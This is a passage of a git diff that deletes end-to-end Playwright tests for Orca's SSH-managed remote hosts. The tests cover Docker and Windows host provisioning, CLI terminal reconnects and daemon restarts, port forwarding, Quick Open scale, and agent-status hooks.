] -[ -n "\${ORCA_REPO_REF_HEAD:-}" ] -[ -n "\${ORCA_REPO_BRANCH:-}" ] -${docker} exec ${quotePosixShell(target.containerName)} git -C ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)} cat-file -e "$ORCA_REPO_REF_HEAD^{commit}" -${docker} exec ${quotePosixShell(target.containerName)} git -C ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)} checkout -B "$ORCA_REPO_BRANCH" "$ORCA_REPO_REF_HEAD" >&2 -node -e 'console.log(JSON.stringify({schemaVersion:2,checkoutMode:"provisioned-root",connection:{type:"ssh",projectRoot:process.argv[1],target:{label:"Docker provisioned root",host:process.argv[2],port:Number(process.argv[3]),username:"root",identityFile:process.argv[4],identitiesOnly:true}}}))' ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)} ${quotePosixShell(target.host)} ${target.port} ${quotePosixShell(target.identityFile)} -` - ) - writeFileSync( - destroyScript, - `#!/usr/bin/env bash -set -euo pipefail -cat >/dev/null -${docker} rm -f ${quotePosixShell(target.containerName)} >/dev/null -` - ) - chmodSync(createScript, 0o755) - chmodSync(destroyScript, 0o755) - writeFileSync( - path.join(repoPath, 'orca.yaml'), - `environmentRecipes: - - id: docker-provisioned-root - name: Docker provisioned root - checkoutMode: provisioned-root - create: ./create.sh - destroy: ./destroy.sh -` - ) - execFileSync('git', ['init'], { cwd: repoPath }) - execFileSync('git', ['config', 'user.email', 'e2e@test.local'], { cwd: repoPath }) - execFileSync('git', ['config', 'user.name', 'Orca E2E'], { cwd: repoPath }) - execFileSync('git', ['remote', 'add', 'origin', 'https://github.com/stablyai/orca.git'], { - cwd: repoPath - }) - execFileSync('git', ['add', '.'], { cwd: repoPath }) - execFileSync('git', ['commit', '-m', 'seed recipe'], { cwd: repoPath }) - const expectedRefHead = execFileSync('git', ['rev-parse', 'HEAD'], { - cwd: repoPath, - encoding: 'utf8' - }).trim() - execDockerSshHostTargetCommand( - target, - `rm -rf ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)} && mkdir -p ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)}` - ) - execFileSync('docker', [ - 'cp', - `${repoPath}${path.sep}.`, - `${target.containerName}:${DOCKER_SSH_HOST_REMOTE_REPO_PATH}` - ]) - execDockerSshHostTargetCommand( - target, - `chown -R root:root ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)}` - ) - // Why: VM creates run the environment checks first, and a VM that cannot fetch or push its - // remote pauses the create. Give the VM a remote it can reach so the create proceeds unattended. - if (!options.reachableRemote) { - return expectedRefHead - } - const vmOrigin = '/tmp/provisioned-root-origin.git' - execDockerSshHostTargetCommand( - target, - `git init --bare -q ${quotePosixShell(vmOrigin)} && git -C ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)} remote set-url origin ${quotePosixShell(vmOrigin)}` - ) - return expectedRefHead -} diff --git a/tests/e2e/ssh-orcad-windows-cli-matrix.spec.ts b/tests/e2e/ssh-orcad-windows-cli-matrix.spec.ts deleted file mode 100644 index b1b91f3e927..00000000000 --- a/tests/e2e/ssh-orcad-windows-cli-matrix.spec.ts +++ /dev/null @@ -1,525 +0,0 @@ -// Run bundled CLI against real Windows OpenSSH host cells; invoke-windows-host-cells.ps1 selects @orcad-cli-managed. -// Covers deploy/list, terminal reconnect, decommission/redeploy and unverifiable→live restart. -// ORCA_E2E_ORCAD_CONVERT_HOST names the descriptor; ORCA_E2E_ORCAD_CONVERT_TEMPLATE must match its target. -import { mkdirSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { managedServer, reconnect } from './helpers/orcad-convert-flow' - -import { ORCAD_CONVERT_HOST_ENV, startOrcadConvertHost } from './helpers/orcad-convert-host' -import { orcaCliResult, runCompiledOrcaCli } from './helpers/compiled-orca-cli' -import { - killHostOrcad, - listHostOrcadProcesses, - listHostOrcadServerProcesses -} from './helpers/windows-host-orcad-processes' -import { readWindowsHostCellDescriptor } from '../../src/main/ssh/hostile-host-test-support/ssh-windows-host-cells' -import { runtimeHostContactFromSnapshot } from '../../src/shared/remote-runtime/host-status/runtime-host-contact' -import type { - RuntimeTerminalListResult, - RuntimeTerminalRead -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' - -const HOST = process.env[ORCAD_CONVERT_HOST_ENV] -const TEMPLATE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE -const SCRATCH = path.join(os.tmpdir(), `orca-orcad-cli-matrix-${process.pid}`) -const MANAGED_TIMEOUT_MS = 8 * 60_000 - -type HostRow = { - kind: string - id: string - connected?: boolean - platform?: string -} -type EnvironmentRow = { id: string; name: string } - -function skipUnlessWindowsHost(): void { - test.skip( - !HOST || !TEMPLATE || HOST === 'docker', - `Set ${ORCAD_CONVERT_HOST_ENV} to a Windows host-cell descriptor and ORCA_E2E_ORCAD_CONVERT_TEMPLATE` - ) -} - -function resetScratch(): void { - rmSync(SCRATCH, { recursive: true, force: true }) - mkdirSync(SCRATCH, { recursive: true }) -} - -function launchEnv(): Record { - return { - ORCA_ORCAD_TEMPLATE_PATH: TEMPLATE! - } -} - -/** Keeps the app's SSH lines in the test output, so a failed connect explains itself. */ -function sshStderr(chunk: string): void { - if (chunk.includes('[ssh]') || chunk.includes('orcad')) { - process.stderr.write(chunk) - } -} - -/** A Windows profile a crashed launch still holds must not replace the test's own failure. */ -async function disposeQuietly(session: { dispose: () => Promise }): Promise { - try { - await session.dispose() - } catch (error) { - console.warn('[e2e] Restart profile cleanup failed:', error) - } -} - -async function waitForManaged(page: Page, targetId: string): Promise { - let environmentId = '' - await expect - .poll( - async () => { - const server = await managedServer(page, targetId) - if (server && typeof server === 'object' && 'environmentId' in server) { - environmentId = String(server.environmentId) - return 'managed' - } - return JSON.stringify(server) - }, - { timeout: MANAGED_TIMEOUT_MS } - ) - .toBe('managed') - return environmentId -} - -function samePath(left: string, right: string): boolean { - const normalize = (value: string): string => value.replaceAll('\\', '/').toLowerCase() - return normalize(left) === normalize(right) -} - -async function hostRows(userData: string): Promise { - return (await orcaCliResult<{ hosts: HostRow[] }>(userData, ['host', 'list'])).hosts -} - -async function environmentIds(userData: string): Promise { - const listed = await orcaCliResult<{ environments: EnvironmentRow[] }>(userData, [ - 'environment', - 'list' - ]) - return listed.environments.map((entry) => entry.id) -} - -async function readTerminal( - userData: string, - environmentId: string, - handle: string -): Promise { - return ( - await orcaCliResult<{ terminal: RuntimeTerminalRead }>(userData, [ - 'terminal', - 'read', - '--environment', - environmentId, - '--terminal', - handle, - '--limit', - '500' - ]) - ).terminal -} - -/** An echoed line on its own: the typed command line carries the prompt in front of it. */ -async function waitForEchoedLine( - userData: string, - environmentId: string, - handle: string, - marker: string -): Promise { - await expect - .poll( - async () => { - const read = await readTerminal(userData, environmentId, handle) - return read.tail.some((line) => line.trim() === marker) - ? 'echoed' - : `${read.status}: ${read.tail.slice(-6).join(' | ')}` - }, - { timeout: 60_000 } - ) - .toBe('echoed') -} - -async function sendLine( - userData: string, - environmentId: string, - handle: string, - text: string -): Promise { - await orcaCliResult(userData, [ - 'terminal', - 'send', - '--environment', - environmentId, - '--terminal', - handle, - '--text', - text, - '--enter' - ]) -} - -/** Host Node is hidden on the lane, so the listener is Windows PowerShell's own TcpListener. */ -// Avoid $ expansion by the outer PowerShell; append the worktree path for Windows scanners, which cannot read process cwd. -const DETECTED_PORT = 4317 - -async function expectWorkspacePortDetected( - page: Page, - userData: string, - environmentId: string, - repoId: string, - worktree: { id: string; path: string } -): Promise { - const worktreeId = worktree.id - const listener = await orcaCliResult<{ terminal: { handle: string } }>(userData, [ - 'terminal', - 'create', - '--environment', - environmentId, - '--worktree', - `id:${worktreeId}`, - '--title', - 'port-listener' - ]) - await sendLine( - userData, - environmentId, - listener.terminal.handle, - `powershell -NoProfile -Command "[Net.Sockets.TcpListener]::new([Net.IPAddress]::Loopback,${DETECTED_PORT}) | Tee-Object -Variable keep | ForEach-Object Start; Write-Output ORCA_PORT_LISTENING; Start-Sleep 900 # ${worktree.path}"` - ) - await waitForEchoedLine(userData, environmentId, listener.terminal.handle, 'ORCA_PORT_LISTENING') - let last = '' - await expect - .poll( - async () => { - const response = await page.evaluate((args) => window.api.runtimeEnvironments.call(args), { - selector: environmentId, - method: 'workspacePorts.scan', - params: { repoId }, - timeoutMs: 30_000 - }) - last = JSON.stringify(response) - const result = - response.ok && response.result && typeof response.result === 'object' - ? response.result - : null - const ports = result && 'ports' in result && Array.isArray(result.ports) ? result.ports : [] - const entry = ports.find((port: { port?: unknown }) => port?.port === DETECTED_PORT) - if (entry) { - last = JSON.stringify(entry) - } - return entry - ? `${entry.kind}:${entry.owner?.worktreeId ?? ''}:${entry.owner?.confidence ?? ''}:${typeof entry.pid}` - : 'absent' - }, - { timeout: 90_000 } - ) - .toBe(`workspace:${worktreeId}:command:number`) - .catch((error: unknown) => { - throw new Error( - `workspacePorts.scan never attributed ${DETECTED_PORT}: ${last.slice(0, 3_000)}`, - { - cause: error - } - ) - }) - console.log(`[cli-matrix] workspace port detected: ${last.slice(0, 1_500)}`) - await orcaCliResult(userData, [ - 'terminal', - 'close', - '--environment', - environmentId, - '--terminal', - listener.terminal.handle - ]) -} - -/** The terminal is still listed after an orcad restart, kept its output and still takes input. */ -async function expectTerminalSurvives( - userData: string, - environmentId: string, - handle: string, - label: string -): Promise { - const listed = await orcaCliResult(userData, [ - 'terminal', - 'list', - '--environment', - environmentId - ]) - console.log( - `[cli-matrix] terminals after ${label}: ${JSON.stringify(listed.terminals.map((terminal) => ({ handle: terminal.handle, connected: terminal.connected, exitCause: terminal.exitCause })))}` - ) - expect( - listed.terminals.map((terminal) => terminal.handle), - label - ).toContain(handle) - const marker = `ORCA_CLI_SURVIVED_${Date.now()}` - await sendLine(userData, environmentId, handle, `echo ${marker}`) - await waitForEchoedLine(userData, environmentId, handle, marker) -} - -/** The client's verdict on the managed server, after asking it once through the main process. */ -async function hostVerdict(page: Page, environmentId: string): Promise { - const snapshot = await page.evaluate(async (id) => { - await window.api.runtimeEnvironments - .call({ selector: id, method: 'status.get', timeoutMs: 5_000 }) - .catch(() => null) - const snapshots = await window.api.runtimeEnvironments.getStatusSnapshots() - return snapshots.find((entry) => entry.environmentId === id) ?? null - }, environmentId) - if (!snapshot) { - return 'no-snapshot' - } - const contact = runtimeHostContactFromSnapshot(snapshot) - return contact.verdict === 'unverifiable' ? `unverifiable:${contact.reason}` : contact.verdict -} - -test('@orcad-cli-managed an empty Windows host deploys, serves CLI terminals through reconnect, decommissions and redeploys, then survives an orcad restart', async (// oxlint-disable-next-line no-empty-pattern -- This test owns its launch through a restart session. -{}, testInfo) => { - skipUnlessWindowsHost() - test.setTimeout(40 * 60_000) - resetScratch() - const host = startOrcadConvertHost(HOST!, testInfo) - const descriptor = readWindowsHostCellDescriptor(HOST!) - const session = createRestartSession(testInfo, launchEnv()) - let app: ElectronApplication | null = null - try { - const launched = await session.launch({ onStderr: sshStderr }) - app = launched.app - const { page } = launched - const userData = session.userDataDir - await waitForSessionReady(page) - - const targetId = await page.evaluate( - async (input) => (await window.api.ssh.addTarget({ target: input })).target.id, - host.input - ) - const connected = await reconnect(page, targetId) - testInfo.annotations.push({ - type: 'first-connect', - description: connected - }) - const environmentId = await waitForManaged(page, targetId) - expect(await listHostOrcadProcesses(descriptor.home)).not.toHaveLength(0) - - const sshRow = (await hostRows(userData)).find((row) => row.id === targetId) - expect(sshRow, 'orca host list names the SSH target').toMatchObject({ - kind: 'ssh', - connected: true - }) - testInfo.annotations.push({ - type: 'host-list-platform', - description: String(sshRow?.platform) - }) - expect(await environmentIds(userData)).toContain(environmentId) - const shown = await orcaCliResult<{ environment: EnvironmentRow }>(userData, [ - 'environment', - 'show', - '--environment', - environmentId - ]) - expect(shown.environment.id).toBe(environmentId) - const status = await orcaCliResult(userData, [ - 'environment', - 'status', - '--environment', - environmentId - ]) - testInfo.annotations.push({ type: 'environment-status', description: JSON.stringify(status) }) - - const added = await orcaCliResult<{ repo: { id: string } }>(userData, [ - 'repo', - 'add', - '--environment', - environmentId, - '--path', - host.remoteRepoPath - ]) - const worktrees = await orcaCliResult<{ - worktrees: { id: string; path: string }[] - }>(userData, ['worktree', 'list', '--environment', environmentId]) - const worktree = worktrees.worktrees.find((entry) => samePath(entry.path, host.remoteRepoPath)) - expect(worktree, `a worktree at ${host.remoteRepoPath}`).toBeTruthy() - const created = await orcaCliResult<{ terminal: { handle: string } }>(userData, [ - 'terminal', - 'create', - '--environment', - environmentId, - '--worktree', - `id:${worktree!.id}`, - '--title', - 'cli-matrix' - ]) - const handle = created.terminal.handle - const before = `ORCA_CLI_BEFORE_${Date.now()}` - await sendLine(userData, environmentId, handle, `echo ${before}`) - await waitForEchoedLine(userData, environmentId, handle, before) - - await expectWorkspacePortDetected(page, userData, environmentId, added.repo.id, worktree!) - - expect(await reconnect(page, targetId)).toContain('"managed"') - expect(await waitForManaged(page, targetId)).toBe(environmentId) - const relisted = await orcaCliResult(userData, [ - 'terminal', - 'list', - '--environment', - environmentId - ]) - expect(relisted.terminals.map((terminal) => terminal.handle)).toContain(handle) - await waitForEchoedLine(userData, environmentId, handle, before) - const after = `ORCA_CLI_AFTER_${Date.now()}` - await sendLine(userData, environmentId, handle, `echo ${after}`) - await waitForEchoedLine(userData, environmentId, handle, after) - - const refused = await runCompiledOrcaCli(userData, [ - 'environment', - 'rm', - '--environment', - environmentId, - '--json' - ]) - expect(refused.code, refused.stdout).not.toBe(0) - expect(`${refused.stdout}${refused.stderr}`).toContain( - 'Orca runs this server on an SSH host for you' - ) - expect(`${refused.stdout}${refused.stderr}`).toContain('orca environment stop') - const unconfirmed = await runCompiledOrcaCli(userData, [ - 'environment', - 'stop', - '--environment', - environmentId, - '--json' - ]) - expect(unconfirmed.json?.error?.code, unconfirmed.stdout).toBe('confirmation_required') - await orcaCliResult(userData, [ - 'terminal', - 'close', - '--environment', - environmentId, - '--worktree', - `id:${worktree!.id}`, - '--all' - ]) - const stopped = await orcaCliResult(userData, [ - 'environment', - 'stop', - '--environment', - environmentId, - '--yes' - ]) - expect(stopped, JSON.stringify(stopped)).toMatchObject({ - outcome: 'unlinked', - verdict: 'exited' - }) - await expect - .poll(async () => (await listHostOrcadProcesses(descriptor.home)).length, { timeout: 60_000 }) - .toBe(0) - expect(await environmentIds(userData)).not.toContain(environmentId) - - // A reconnect after decommission redeploys onto the cleaned host. - testInfo.annotations.push({ - type: 'redeploy-connect', - description: await reconnect(page, targetId) - }) - const redeployed = await waitForManaged(page, targetId) - expect(await environmentIds(userData)).toContain(redeployed) - expect(await listHostOrcadProcesses(descriptor.home)).not.toHaveLength(0) - - // Create a terminal before restart; do not assume the decommissioned server retained its repo catalog. - await runCompiledOrcaCli(userData, [ - 'repo', - 'add', - '--environment', - redeployed, - '--path', - host.remoteRepoPath, - '--json' - ]) - const redeployedWorktree = ( - await orcaCliResult<{ worktrees: { id: string; path: string }[] }>(userData, [ - 'worktree', - 'list', - '--environment', - redeployed - ]) - ).worktrees.find((entry) => samePath(entry.path, host.remoteRepoPath)) - expect(redeployedWorktree, `a worktree at ${host.remoteRepoPath}`).toBeTruthy() - const restartHandle = ( - await orcaCliResult<{ terminal: { handle: string } }>(userData, [ - 'terminal', - 'create', - '--environment', - redeployed, - '--worktree', - `id:${redeployedWorktree!.id}` - ]) - ).terminal.handle - const beforeRestart = `ORCA_CLI_RESTART_${Date.now()}` - await sendLine(userData, redeployed, restartHandle, `echo ${beforeRestart}`) - await waitForEchoedLine(userData, redeployed, restartHandle, beforeRestart) - - // (d) Last, since a relaunch on connect is still landing: orcad restart: unreachable reads unverifiable, never retired or refused, then live again. - expect(await hostVerdict(page, redeployed)).toBe('live') - const killed = await killHostOrcad(descriptor.home) - expect(killed, 'an orcad process to restart').not.toHaveLength(0) - console.log(`[cli-matrix] killed orcad: ${JSON.stringify(killed)}`) - const verdicts: string[] = [] - const sample = async (): Promise => { - const verdict = await hostVerdict(page, redeployed) - if (verdicts.at(-1) !== verdict) { - verdicts.push(verdict) - } - return verdict - } - await expect.poll(sample, { timeout: 90_000 }).toMatch(/^unverifiable:/u) - let recoveredBy = 'automatic' - try { - await expect.poll(sample, { timeout: 120_000 }).toBe('live') - } catch { - recoveredBy = 'reconnect' - testInfo.annotations.push({ - type: 'restart-reconnect', - description: await reconnect(page, targetId) - }) - await expect.poll(sample, { timeout: 4 * 60_000 }).toBe('live') - } - const relaunched = await listHostOrcadServerProcesses(descriptor.home) - console.log( - `[cli-matrix] orcad restart ${recoveredBy}: ${verdicts.join(' -> ')}; killed ${killed.map((entry) => entry.pid).join(',')}, now ${relaunched.map((entry) => entry.pid).join(',')}` - ) - expect(verdicts.filter((verdict) => !/^(live|unverifiable:)/u.test(verdict))).toEqual([]) - expect(relaunched).not.toHaveLength(0) - expect(relaunched.some((entry) => killed.some((victim) => victim.pid === entry.pid))).toBe( - false - ) - // The terminal daemon outlives orcad, so the relaunched server adopts its terminal. - await expectTerminalSurvives(userData, redeployed, restartHandle, 'automatic restart') - - // Killed again, then disconnect/connect: the connect itself starts orcad and stays managed. - const killedAgain = await killHostOrcad(descriptor.home) - expect(killedAgain, 'an orcad process to restart').not.toHaveLength(0) - const reconnected = await reconnect(page, targetId) - console.log(`[cli-matrix] connect after second kill: ${reconnected}`) - expect(reconnected).toContain('"managed"') - expect(await waitForManaged(page, targetId)).toBe(redeployed) - await expect.poll(() => hostVerdict(page, redeployed), { timeout: 4 * 60_000 }).toBe('live') - const afterConnect = await listHostOrcadServerProcesses(descriptor.home) - expect( - afterConnect.some((entry) => killedAgain.some((victim) => victim.pid === entry.pid)) - ).toBe(false) - await expectTerminalSurvives(userData, redeployed, restartHandle, 'reconnect restart') - } finally { - if (app) { - await session.close(app) - } - await disposeQuietly(session) - host.cleanup() - rmSync(SCRATCH, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/ssh-orcad-workspace-tools.spec.ts b/tests/e2e/ssh-orcad-workspace-tools.spec.ts deleted file mode 100644 index 9548ceb8bca..00000000000 --- a/tests/e2e/ssh-orcad-workspace-tools.spec.ts +++ /dev/null @@ -1,273 +0,0 @@ -// Exercise managed SSH Quick Open at monorepo scale, ports/forwards, outside-workspace image links and remote agent status. -import { expect, test } from './helpers/orca-app' -import { reconnect } from './helpers/orcad-convert-flow' -import { callEnvironment, createPairedHostTerminal } from './helpers/paired-host-terminal' -import { reserveLocalPort } from './helpers/reserve-local-port' -import { openTerminalWorkspaceRootLink } from './helpers/terminal-workspace-root-link' -import { - echoMarker, - expectTerminalAnswers, - activateManagedWorkspace, - launchManagedWorkspace, - openTerminalTab, - relaunchManagedApp, - skipUnlessManagedDockerHost, - typeInTerminal, - withManagedHost -} from './helpers/orcad-managed-workspace' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' -import { createServer } from 'node:net' -import { waitForSessionReady } from './helpers/store' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') - -test('Quick Open finds a file in a monorepo-sized managed workspace', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(10 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const repo = quotePosixShell(fixture.host.remoteRepoPath) - // ~22.6k tracked paths: past the size whose single reply once overflowed the transport (#12547). - fixture.host.exec!( - [ - `cd ${repo}`, - 'for d in $(seq 1 226); do mkdir -p packages/pkg-$d/src && (cd packages/pkg-$d/src && ' + - 'touch $(seq -f "module-with-a-long-descriptive-name-%05g.ts" 1 100)); done', - 'touch packages/pkg-200/src/quick-open-needle-target.ts', - 'git add -A', - 'git -c user.email=e2e@test.local -c user.name=e2e commit -q -m "monorepo-sized tree"' - ].join(' && ') - ) - const { page } = await launchManagedWorkspace(fixture) - await page.evaluate(() => window.__store?.getState().openModal('quick-open')) - const dialog = page.getByRole('dialog', { name: 'Go to file' }) - await expect(dialog).toBeVisible() - const input = dialog.getByPlaceholder('Go to file...') - await input.fill('quick-open-needle-target') - await expect( - dialog.getByRole('option').filter({ hasText: 'quick-open-needle-target.ts' }) - ).toHaveCount(1, { timeout: 90_000 }) - await input.fill('module-with-a-long-descriptive-name-00042') - await expect(dialog.getByRole('option').first()).toBeVisible({ timeout: 60_000 }) - await expect(dialog.getByText('Loading files...')).toHaveCount(0) - await expect(dialog).not.toContainText('Remote Orca runtime closed the connection') - await page.screenshot({ path: testInfo.outputPath('managed-quick-open.png') }) - }) -}) - -for (const across of ['', 'reconnect', 'restart without an SSH connect'] as const) { - test(`a managed host reports its listener, and an SSH forward reaches it${across ? ` across a ${across}` : ''}`, async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. - {}, testInfo) => { - test.setTimeout(10 * 60_000) - const remotePort = 7860 - const marker = `ORCA_FORWARD_${Date.now()}` - const reservation = await reserveLocalPort() - await withManagedHost(testInfo, async (fixture) => { - const launched = await launchManagedWorkspace(fixture) - const { seeded, environmentId } = launched - let page = launched.page - const script = `require('node:http').createServer((_q, r) => r.end(${JSON.stringify(marker)})).listen(${remotePort}, '127.0.0.1')` - // Started from the workspace so the scan attributes it to this workspace. - fixture.host.exec!( - `cd ${quotePosixShell(fixture.host.remoteRepoPath)} && nohup node -e ${quotePosixShell(script)} >/tmp/orca-http.log 2>&1 < /dev/null &` - ) - // The scan the Ports panel shows for a workspace on this host. - await expect - .poll( - async () => - JSON.stringify(await callEnvironment(page, environmentId, 'workspacePorts.scan', {})), - { timeout: 60_000, message: 'the managed host never reported the listener' } - ) - .toContain(`"port":${remotePort}`) - - const localPort = reservation.port - await reservation.release() - const forward = await page.evaluate( - (args) => window.api.ssh.addPortForward({ ...args, remoteHost: '127.0.0.1' }), - { targetId: seeded.targetId, localPort, remotePort, label: 'managed e2e' } - ) - const fetchMarker = async (): Promise => { - try { - return await (await fetch(`http://127.0.0.1:${localPort}/`)).text() - } catch (error) { - return String(error) - } - } - await expect.poll(fetchMarker, { timeout: 30_000 }).toBe(marker) - let forwardId = forward.id - if (across) { - if (across === 'reconnect') { - await reconnect(page, seeded.targetId) - } else { - // #32484: every SSH connect fails, so only the server's tunnel brings the host back. - page = await relaunchManagedApp(fixture, undefined, { - extraEnv: { - ORCA_E2E_FORBID_LOCAL_SSH_CONNECT_PROBE: testInfo.outputPath('ssh-connects.log') - } - }) - await callEnvironment(page, environmentId, 'workspacePorts.scan', {}) - } - await expect.poll(fetchMarker, { timeout: 60_000 }).toBe(marker) - // The restored forward is a new entry for the same saved port. - const restored = await page.evaluate( - (targetId) => window.api.ssh.listPortForwards({ targetId }), - seeded.targetId - ) - forwardId = restored.find((entry) => entry.localPort === localPort)?.id ?? forwardId - } - await page.evaluate((id) => window.api.ssh.removePortForward({ id }), forwardId) - await expect.poll(fetchMarker, { timeout: 30_000 }).not.toBe(marker) - }).finally(() => reservation.release()) - }) -} - -test('a saved forward whose local port is taken after a restart shows why, and can be removed', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - // Deploys a managed server, then quits and relaunches the app once. - test.setTimeout(10 * 60_000) - const reservation = await reserveLocalPort() - const localPort = reservation.port - await reservation.release() - await withManagedHost(testInfo, async (fixture) => { - const launched = await launchManagedWorkspace(fixture) - const { seeded, environmentId } = launched - await launched.page.evaluate( - (args) => window.api.ssh.addPortForward({ ...args, remoteHost: '127.0.0.1' }), - { targetId: seeded.targetId, localPort, remotePort: 7860, label: 'held' } - ) - await fixture.session.close(launched.app) - fixture.app = null - // Another process takes the port while Orca is closed, so the restore can't bind it. - const holder = createServer() - await new Promise((resolve) => holder.listen(localPort, '127.0.0.1', resolve)) - try { - const { app, page } = await fixture.session.launch() - fixture.app = app - await waitForSessionReady(page) - await callEnvironment(page, environmentId, 'workspacePorts.scan', {}) - await expect - .poll( - async () => - JSON.stringify( - await page.evaluate( - (targetId) => window.api.ssh.listUnrestoredPortForwards({ targetId }), - seeded.targetId - ) - ), - { timeout: 60_000, message: 'the held forward never reported why it did not start' } - ) - .toContain('"error"') - await activateManagedWorkspace(page, seeded.worktreeId, environmentId) - await page.evaluate(() => { - const state = window.__store?.getState() - state?.setRightSidebarOpen(true) - state?.setRightSidebarTab('ports') - }) - const row = page.locator('[data-ssh-unrestored-forward]') - await expect(row).toBeVisible({ timeout: 30_000 }) - await expect(row).toContainText("Couldn't start") - await page.screenshot({ path: testInfo.outputPath('unrestored-forward-row.png') }) - await row.getByRole('button').click() - await expect(row).toHaveCount(0) - await expect - .poll(() => - page.evaluate( - (targetId) => window.api.ssh.listUnrestoredPortForwards({ targetId }), - seeded.targetId - ) - ) - .toEqual([]) - } finally { - await new Promise((resolve) => holder.close(() => resolve())) - } - }) -}) - -test('a terminal link opens an image outside the managed workspace', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(10 * 60_000) - const imagePath = '/tmp/orca-ssh-external-preview.png' - const imageBase64 = - 'iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAYAAABytg0kAAAAFklEQVR4AWN8z8DwnwEJMDGgAcICAO2mBAXmO4drAAAAAElFTkSuQmCC' - await withManagedHost(testInfo, async (fixture) => { - fixture.host.exec!( - `printf '%s' ${quotePosixShell(imageBase64)} | base64 -d > ${quotePosixShell(imagePath)}` - ) - // Why /root: the default folder workspace is /tmp, which would make the image a workspace file. - const { page, seeded } = await launchManagedWorkspace(fixture, { folderPath: '/root' }) - // A link is only clickable once the shell has printed it, so wait for one that answers. - await expectTerminalAnswers(page, await openTerminalTab(page, seeded.worktreeId)) - await openTerminalWorkspaceRootLink(page, testInfo, imagePath, 'open') - const preview = page.locator(`img[alt="${imagePath.split('/').at(-1)}"]`) - await expect(preview).toBeVisible({ timeout: 30_000 }) - expect(await preview.evaluate((element: HTMLImageElement) => element.naturalWidth)).toBe(2) - await expect(page.getByText('Unable to load file', { exact: true })).toHaveCount(0) - await page.screenshot({ path: testInfo.outputPath('managed-external-image.png') }) - }) -}) - -test('a managed terminal reports agent status from hooks and from Pi-style titles', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(10 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { page, seeded, environmentId } = await launchManagedWorkspace(fixture) - const tabId = await openTerminalTab(page, seeded.worktreeId) - await echoMarker(page, tabId, 'HOOK_READY') - // Backgrounded: a foreground post ends the shell command, which rightly clears the turn. - const prompt = `orca managed hook ${Date.now()}` - const payload = JSON.stringify({ hook_event_name: 'UserPromptSubmit', prompt }) - await typeInTerminal( - page, - tabId, - [ - '( sleep 0.2; curl -sS -X POST "http://127.0.0.1:${ORCA_AGENT_HOOK_PORT}/hook/codex"', - '-H "X-Orca-Agent-Hook-Token: ${ORCA_AGENT_HOOK_TOKEN}"', - '--data-urlencode "paneKey=${ORCA_PANE_KEY}" --data-urlencode "tabId=${ORCA_TAB_ID}"', - '--data-urlencode "worktreeId=${ORCA_WORKTREE_ID}" --data-urlencode "env=${ORCA_AGENT_HOOK_ENV}"', - '--data-urlencode "version=${ORCA_AGENT_HOOK_VERSION}"', - `--data-urlencode ${quotePosixShell(`payload=${payload}`)} >/tmp/orca-hook.log 2>&1 ) &` - ].join(' ') - ) - await expect - .poll( - () => - page.evaluate( - (prompt) => - Array.from(window.__store?.getState().agentStatusByPaneKey?.values() ?? []).some( - (entry) => - entry.prompt === prompt && - entry.agentType === 'codex' && - entry.state === 'working' - ), - prompt - ), - { timeout: 30_000, message: 'the host hook never reached the agent status store' } - ) - .toBe(true) - - // The host classifies agent titles a remote terminal emits. - const terminal = await createPairedHostTerminal(page, environmentId, seeded.worktreeId, 'bash') - const status = async (): Promise => { - const result = await callEnvironment(page, environmentId, 'terminal.agentStatus', { - terminal: terminal.terminal - }) - return typeof result === 'object' && result !== null && 'agentStatus' in result - ? result.agentStatus - : result - } - for (const [title, expected] of [ - ['⠋ OMP', 'working'], - ['OMP ready', 'idle'], - ['⠋ Pi', 'working'] - ] as const) { - await callEnvironment(page, environmentId, 'terminal.send', { - terminal: terminal.terminal, - text: `printf '\\033]0;${title}\\007'`, - enter: true - }) - await expect - .poll(status, { timeout: 15_000, message: `title ${title}` }) - .toMatchObject({ isRunningAgent: true, status: expected }) - } - }) -}) diff --git a/tests/e2e/status-bar-session-count-management-kill.spec.ts b/tests/e2e/status-bar-session-count-management-kill.spec.ts deleted file mode 100644 index 8518620ddc1..00000000000 --- a/tests/e2e/status-bar-session-count-management-kill.spec.ts +++ /dev/null @@ -1,141 +0,0 @@ -// Resource counts stay unknown until Resources is opened; Manage Sessions must not invent an observation. - -import path from 'node:path' -import { randomUUID } from 'node:crypto' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { DaemonClient } from '../../src/main/daemon/transport/client/daemon-client' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - splitActiveTerminalPane, - waitForActiveTerminalManager, - waitForPaneCount, - waitForPaneIdentitySnapshot -} from './helpers/terminal' - -/** The closed status-bar chip. Its accessible name carries the same count it paints. */ -function resourceChip(page: Page) { - return page.getByRole('button', { name: /^Resource Manager, / }) -} - -async function listDaemonSessionIds(page: Page): Promise { - return page.evaluate(async () => (await window.api.pty.listSessions()).map(({ id }) => id)) -} - -/** The 